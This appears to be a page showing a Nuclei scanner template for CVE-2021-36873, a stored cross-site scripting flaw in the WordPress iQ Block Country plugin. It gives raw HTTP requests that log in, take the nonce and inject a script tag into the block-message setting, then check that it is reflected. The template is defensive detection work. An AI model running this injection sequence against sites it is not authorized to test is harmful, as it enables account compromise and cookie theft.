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WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting

ID: CVE-2021-36873

Severity: medium

Author: theamanrawat

Tags: cve,cve2021,wp-plugin,iq-block-country,wordpress,wp,xss,authenticated,wpscan,webence

Description

Section titled “Description”

WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-36873


info:
  name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
    - https://wordpress.org/plugins/iq-block-country/
    - https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36873
    - https://wordpress.org/plugins/iq-block-country/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-36873
    cwe-id: CWE-79
    epss-score: 0.00131
    epss-percentile: 0.47179
    cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: webence
    product: iq_block_country
    framework: wordpress
  tags: cve,cve2021,wp-plugin,iq-block-country,wordpress,wp,xss,authenticated,wpscan,webence


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
      - |
        GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
          - contains(body_4, '<h3>Block type</h3>')
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true
# digest: 490a00463044022064db8a8a8bc1bd043ae67d8ded7cb052e2a4a3438762eb7c89ac0df3a859fa9502202952655a815fad623c4a0070931de26cad8f4ca54d5147f82221d021e806bb6e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-36873.yaml"

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